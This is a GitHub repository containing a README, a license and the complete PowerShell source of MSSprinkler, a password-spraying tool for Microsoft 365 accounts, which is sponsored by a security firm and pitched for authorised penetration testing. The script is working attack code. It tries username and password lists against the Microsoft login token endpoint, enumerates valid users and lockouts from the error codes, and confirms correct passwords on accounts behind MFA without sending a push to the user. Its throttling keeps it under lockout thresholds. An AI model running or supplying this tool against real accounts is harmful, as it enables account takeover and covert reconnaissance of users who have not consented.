├── images ├── Animation.gif └── cybermaxx_logo.png ├── LICENSE ├── README.md └── mssprinkler.ps1 /images/Animation.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nerodtm/password-spray-O365-account/main/images/Animation.gif -------------------------------------------------------------------------------- /images/cybermaxx_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nerodtm/password-spray-O365-account/main/images/cybermaxx_logo.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 LucidChartUser 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
7 | 8 | [![Made with - PowerShell](https://img.shields.io/badge/Made_with-PowerShell-blue)](https://github.com/theresafewconors/mssprinkler) 9 | [![License - MIT](https://img.shields.io/badge/License-MIT-yellow)](https://github.com/theresafewconors/mssprinkler) 10 | [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Ftheresafewconors%2Fmssprinkler&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://github.com/theresafewconors/mssprinkler) 11 | [![Current Version](https://img.shields.io/badge/Current_Version-0.2-lightblue)](https://github.com/theresafewconors/mssprinkler) 12 | 13 |
14 | 15 | 16 |

17 | MSSprinkler is sponsored by CyberMaxx. 18 | 19 | 20 | 21 | # Overview 22 | 23 | MSSprinkler is a password spraying utility for organizations to test their Microsoft Online accounts from an external perspective. It employs a 'low-and-slow' approach to avoid locking out accounts, and provides verbose information related to accounts and tenant information. 24 | 25 | ## Contents 26 | - [Description](#description) 27 | - [Current Feature](#current-features) 28 | - [Installation](#install-and-usage) 29 | - [Help](#help) 30 | - [Disclaimer](#disclaimer) 31 | 32 | ## Description 33 | MSSprinkler is written in PowerShell and can be imported directly as a module. It has no other dependencies. MSSprinkler relies on the verbose error messaging provided by Microsoft to identify additional information beyond standard password spray success or failed authentication attempts, which allows for the gathering of additional information related to the user account. MSSprinkler also allows for a configurable threshold to prevent locking out accounts by mistake. By default, this is set to 8 (n-2 under Microsoft's default) however this can be adjusted based on the organizations lockout policy. Additionally, successful sign-in to an account with MFA enabled will not produce an MFA push to the user, allowing for covert information gathering. 34 | 35 | ![](/images/Animation.gif) 36 | 37 | ## Current Features 38 | - Automatically spray a list of Microsoft Online accounts with a password list. 39 | - Low-and-slow approach to avoid locking out accounts. 40 | - Smart detect accounts that do not exist or are locked out, skipping over these to reduce unnecessary traffic and speed up testing. 41 | - Ability to override the default threshold to better match the organizations policy, if required. 42 | - Verbose output, revealing additional information about accounts: 43 | - Detect if an account is locked out. 44 | - Detect if a user exists in the tenant or not. 45 | - Detect if MFA is in use for a given user without triggering the MFA push. 46 | - Output and store results into a csv file. 47 | 48 | ## Install and Usage 49 | ```PowerShell 50 | # Import the module 51 | Import-Module MSSprinkler.ps1 52 | 53 | # Use the module 54 | Invoke-MSSprinkler 55 | 56 | # EXAMPLE USAGE 57 | # Spray using a provided userlist and password list, default URL and threshold 58 | Invoke-MSSprinkler -user userlist.txt -pass passwordlist.txt 59 | 60 | # Spray using a provided userlist and password list, increase threshold to 12 attempts per min and output results to output.csv 61 | Invoke-MSSprinkler -user userlist.txt -pass passwordlist.txt -threshold 12 -output .\output.csv 62 | ``` 63 | 64 | ## Help 65 | The userlist file should contain a list of users in the format `users@tenant.com`, one per line. Example below: 66 | ``` 67 | user1@tenant.com 68 | user2@tenant.com 69 | ... 70 | user43@tenant.com 71 | ``` 72 | 73 | The password list should follow the same format. One password per line: 74 | ``` 75 | password1 76 | password2 77 | ... 78 | password10 79 | ``` 80 | 81 | Additional help can be viewed within the tool via PowerShells built-in module: 82 | ```PowerShell 83 | Get-Help .\mssprinkler.ps1 -detailed 84 | ``` 85 | 86 | Timestamps in the output file are in UTC timezone with the applicable offset for the local user, eg for 2:11pm local time: 87 | ``` 88 | 09/17/2024 13:11 +01 89 | ``` 90 | 91 | ## Reporting An Issue 92 | 93 | If you encounter an issue with an unhandled error MSSprinkler will provide you with the error code. Please open an issue and reference this error code so that it can be added and handled correctly. 94 | 95 | ## Disclaimer 96 | This tool is to be used only against accounts that you either own or have permission to test during legitimate penetration tests or internal assessments. The author accepts no liability for actions taken by its users. 97 | -------------------------------------------------------------------------------- /mssprinkler.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-MSSprinkler{ 2 | <# 3 | .Synopsis 4 | MSSprinkler is a password spraying utility that targets M365 accounts. It employs a 'low-and-slow' approach to avoid locking out accounts, and provides verbose information related to accounts / tenant information. 5 | 6 | .Description 7 | Version: 0.2 8 | Author: Connor Jackson 9 | GitHub: https://github.com/theresafewconors/mssprinkler 10 | 11 | .Parameter user 12 | A list of users to spray. One per line without commas. eg. user@tenant.com. Provide the path to the file. 13 | .Parameter pass 14 | A list of passwords to use. One per line without commas. Provide the path to the file. 15 | .Parameter threshold 16 | The threshold for the maximum number of attempts to make per min. Default is 8 if no value is provided. 17 | .Parameter URL 18 | URL to target. This will default to 'https://login.microsoftonline.com' if no value is provided. 19 | .Parameter Output 20 | Name of output file to save results to. 21 | 22 | .Example 23 | Invoke-MSSprinkler -user .\users.txt -pass .\passwords.txt -threshold 12 24 | Invoke-MSSprinkler -us .\users.txt -p .\passwords.txt -t 12 25 | #> 26 | 27 | Param( 28 | [string]$user, 29 | [string]$pass, 30 | [int]$threshold = 8, 31 | [string]$url = 'https://login.microsoftonline.com', 32 | [string]$output 33 | ) 34 | 35 | # Environment variables for output file 36 | $datetime = Get-Date -UFormat "%m/%d/%Y %R %Z" 37 | $sprayResult = @() 38 | 39 | # Create a list of usernames + passwords to try 40 | $usernames = Get-Content $user 41 | $passwords = Get-Content $pass 42 | $total = $usernames.count * $passwords.count 43 | $exptime = $total / $threshold 44 | 45 | Write-Host -ForegroundColor "yellow" "[*] The url to attack is" $url 46 | Write-Host -ForegroundColor "red" "[*] " $usernames.count "user(s) detected" 47 | Write-Host -ForegroundColor "red" "[*] " $passwords.count "password(s) detected" 48 | Write-Host -ForegroundColor "cyan" "[*] operating at" $threshold "spraying attempts per min. $total combinations found. Expected time to complete is $exptime mins" 49 | if ($output -ne ""){ 50 | Write-Host -ForegroundColor "yellow" "[*] Results will be saved to $output" 51 | } 52 | Write-Host -ForegroundColor "red" "[*] Starting Spray..." 53 | 54 | # Init the hashtable 55 | $errorResonseValues = @{} 56 | 57 | # Error ID = (plaintext, csv result) Reference: https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes 58 | $errorResonseValues["AADSTS50126"] = @(" The password for appears to be incorrect.", "Failure") 59 | $errorResonseValues["AADSTS50053"] = @(" WARNING! appears to be locked, skipping further attempts", "Account Locked") 60 | $errorResonseValues["AADSTS90002"] = @(" WARNING! appears to be locked, skipping further attempts", "Account Locked") 61 | $errorResonseValues["AADSTS50034"] = @(" The user not found, tenant appears correct. Skipping further attempts..", "User Does Not Exist") 62 | $errorResonseValues["AADSTS50059"] = @(" Supplied tenant for not found, skipping further attempts..", "Tenant Does Not Exist") 63 | $errorResonseValues["AADSTS50076"] = @("[*] Password for is correct but user has MFA enabled (DUO or MS)", "Correct Password, MFA Blocked") 64 | $errorResonseValues["AADSTS90014"] = @(" Issue with request") 65 | 66 | # Regex for the error ID starting with AADSTS.. 67 | $regex = 'AADSTS\d{5}' 68 | 69 | $ErrorActionPreference = 'silentlycontinue' 70 | for ($counter = 0; $counter -lt $usernames.length; $counter++) { 71 | $un = $usernames[$counter] 72 | foreach ($passes in $passwords) { 73 | # Web Request Info 74 | $body = @{ 'client_id' = '5aa316d3-d05a-485f-a849-e05182f87d1d'; 'grant_type' = 'password'; username = $un; password = $passes; scope = 'openid' } 75 | $headers = @{ Accept = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded' } 76 | $response = Invoke-WebRequest -Uri "$url/organizations/oauth2/v2.0/token" -Method Post -Body $body -Headers $headers -ErrorVariable errorResponse 77 | 78 | # Convert error to string 79 | $errorResponseString = $errorResponse | Out-String 80 | 81 | # Successful login attempt 82 | if ($response.StatusCode -eq 200) { 83 | Write-Host -ForegroundColor "green" "[*] SUCCESS! $un : $passes" 84 | $sprayResult += "$datetime, Success, $un, $passes" 85 | $response = "" 86 | Start-Sleep (60 / $threshold) 87 | break 88 | } else { 89 | # Handle unsuccessful attempts 90 | if ($errorResponseString -match 'AADSTS\d{5}') { 91 | $errorCode = $matches[0] 92 | if ($errorResonseValues.ContainsKey($errorCode)) { 93 | # Get error message and replace with the actual username 94 | $values = $errorResonseValues[$errorCode] 95 | $message = $values[0] -replace '', $un 96 | # Special case for locked accounts, incorrect tenants or user not found 97 | if ($errorCode -eq "AADSTS50059" -or $errorCode -eq "AADSTS50034" -or $errorCode -eq "AADSTS50053") { 98 | Write-Host -ForegroundColor "Yellow" "$message" 99 | Start-Sleep (60 / $threshold) 100 | break 101 | } else { 102 | Write-Host "$message" 103 | $sprayResult += "$datetime, $($values[1]), $un, $passes" 104 | Start-Sleep (60 / $threshold) 105 | } 106 | } else { 107 | Write-Host "Unhandled error code: $errorCode" 108 | Start-Sleep (60 / $threshold) 109 | } 110 | } 111 | } 112 | } 113 | } 114 | 115 | # Write the output to a CSV file: 116 | if ($output) { 117 | $sprayResult | Out-File -Encoding ascii $output 118 | } 119 | } --------------------------------------------------------------------------------